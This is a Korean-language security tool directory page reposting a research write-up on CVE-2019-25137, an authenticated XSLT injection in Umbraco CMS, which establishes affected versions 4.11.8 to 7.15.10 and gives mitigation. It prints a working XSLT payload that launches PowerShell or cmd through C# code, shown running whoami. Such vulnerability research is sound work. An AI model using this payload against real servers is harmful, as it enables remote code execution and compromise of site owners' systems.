Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-25137-Version-Research — CVE-2019-25137의 전체 범위를 조사한 분석 글 | Kitploit
도구/GitHubGitHub/ickarah/cve-2019-25137-version-research
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubickarah/cve-2019-25137-version-research

CVE-2019-25137-Version-Research

CVE-2019-25137의 전체 범위를 조사한 분석 글

저장소 보기
1113년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-25137 영향 받는 버전 연구


CVE-2019-25137 개요


CVE-2019-25137은 Umbraco CMS의 XSLT 인젝션 취약점입니다. 이 취약점은 XSLT(Extensive Stylesheet Language Transformations) Visualizer 웹페이지에 존재합니다. 이 웹페이지의 취약한 URI는 /umbraco/developer/Xslt/xsltVisualize.aspx입니다.

XSLT Visualizer를 성공적으로 악용하면 대상 시스템에서 C# 코드가 실행될 수 있습니다. 취약점을 악용하려면 사용자는 Umbraco CMS에 대한 합법적인 관리자 자격 증명이 필요합니다.

CVE-2019-25137의 개념 증명은 msxsl:script 요소를 사용합니다. 이 요소는 XSLT 변환에 C#과 같은 추가 프로그래밍 언어를 사용할 수 있게 해줍니다.


root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>

XSLT 페이로드는 다음 C# 코드를 실행하려고 시도합니다.


root@kitploit:~
string cmd = "<additional arguments>"; 
System.Diagnostics.Process proc = new System.Diagnostics.Process(); 
proc.StartInfo.FileName = "<Can be powershell or cmd>"; 
proc.StartInfo.Arguments = cmd; 
proc.StartInfo.UseShellExecute = false; 
proc.StartInfo.RedirectStandardOutput = true;  
proc.Start(); 
string output = proc.StandardOutput.ReadToEnd(); 
return output;

C# 코드는 다음 명령문으로 나뉩니다. 모든 정의는 Microsoft 웹사이트에 문서화되어 있습니다.

함수개요
System.Diagnostics.Process proc로컬 및 원격 프로세스에 대한 액세스를 제공하고 사용자가 로컬 시스템 프로세스를 시작 및 중지할 수 있게 해주며, 여기서는 "proc"이라고 합니다.
proc.StartInfo.FileName사용자가 시작하려는 애플리케이션의 이름을 정의합니다 (powershell 또는 cmd).
proc.StartInfo.ArgumentsFileName에 필요할 수 있는 추가 변수를 정의합니다.
proc.StartInfo.UseShellExecute운영 체제 셸을 사용하여 프로세스를 시작할지 여부를 나타내는 값으로, powershell 또는 cmd가 사용되므로 false로 설정됩니다.
proc.StartInfo.RedirectStandardOutput애플리케이션의 출력이 StandardOutput 스트림에 기록되는지 여부를 나타내는 값으로, true로 설정됩니다.
proc.Start()"proc" 프로세스 리소스를 시작하고 이를 Process 구성 요소와 연결합니다.
string output = proc.StandardOutput.ReadToEnd()"proc"에 대해 동기 읽기 작업을 수행하고 이를 "output" 변수로 리디렉션합니다.


Umbraco 버전 분석

Umbraco는 오픈 소스 CMS이므로, xsltVisualize.aspx가 여전히 존재할 수 있는 이전 및 최신 버전을 확인하기 위해 웹사이트에서 다양한 설치 버전을 확보했습니다.



분석 결과 xsltVisualize.aspx 파일은 Umbraco CMS 버전 4.11.8부터 7.15.10까지 존재합니다. 이 파일과 전체 Development 폴더는 버전 8.0.0 이상에서는 더 이상 존재하지 않습니다.




Umbraco 4.11.8 테스트

가장 이른 버전도 CVE-2019-25137에 취약함을 입증하기 위해 Umbraco 4.11.8 테스트 인스턴스를 설정했습니다.



Umbraco CMS 4.11.8의 xsltVisualize.aspx를 Umbraco CMS 버전 7.12.4의 것과 비교하면 약간의 차이가 있지만 웹페이지 기능은 동일함을 알 수 있습니다.


익스플로잇을 테스트하려면 사용자가 xsltSelection 필드에 페이로드를 제출해야 합니다.



앞서 제공된 페이로드를 사용하여 원격 코드 실행에 성공했으며, 이는 이 버전도 취약함을 나타냅니다. 아래 이미지는 whoami가 실행되는 모습을 보여줍니다.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>



Umbraco 7.15.10 테스트

xsltVisualize.aspx가 포함된 가장 최신 버전의 Umbraco도 취약함을 입증하기 위해 Umbraco 7.15.10 테스트 인스턴스를 설정했습니다.


Umbraco CMS 7.15.10의 xsltVisualize.aspx를 Umbraco CMS 버전 7.12.4의 것과 비교하면 동일함을 알 수 있습니다.


/umbraco/developer/Xslt/xsltVisualize.aspx URI로 이동하면 파일이 실제로 존재함을 확인할 수 있습니다.


앞서 제공된 동일한 페이로드를 사용하여 다시 원격 코드 실행에 성공했으며, 이는 이 버전도 취약함을 나타냅니다. 아래 이미지는 whoami가 실행되는 모습을 보여줍니다.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>


요약


이 예제들은 CVE-2019-25137이 7.12.4 이외의 Umbraco 버전에도 존재함을 보여줍니다. 4.11.8과 7.15.10 사이의 모든 버전에는 취약한 웹페이지가 포함되어 있으므로 CVE 업데이트에 포함되어야 합니다. CVE-2019-25137은 xsltVisualize.aspx 파일에 대한 액세스를 제거하거나 최신 버전의 Umbraco로 업데이트하여 완화할 수 있습니다.



참고 자료

원본 CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137

Umbraco 릴리스 날짜 - https://our.umbraco.com/download/releases/774

Umbraco 버전 - https://our.umbraco.com/download/releases

XSLT 정의 - https://en.wikipedia.org/wiki/XSLT

사용된 페이로드 - https://github.com/noraj/Umbraco-RCE

도구 다운로드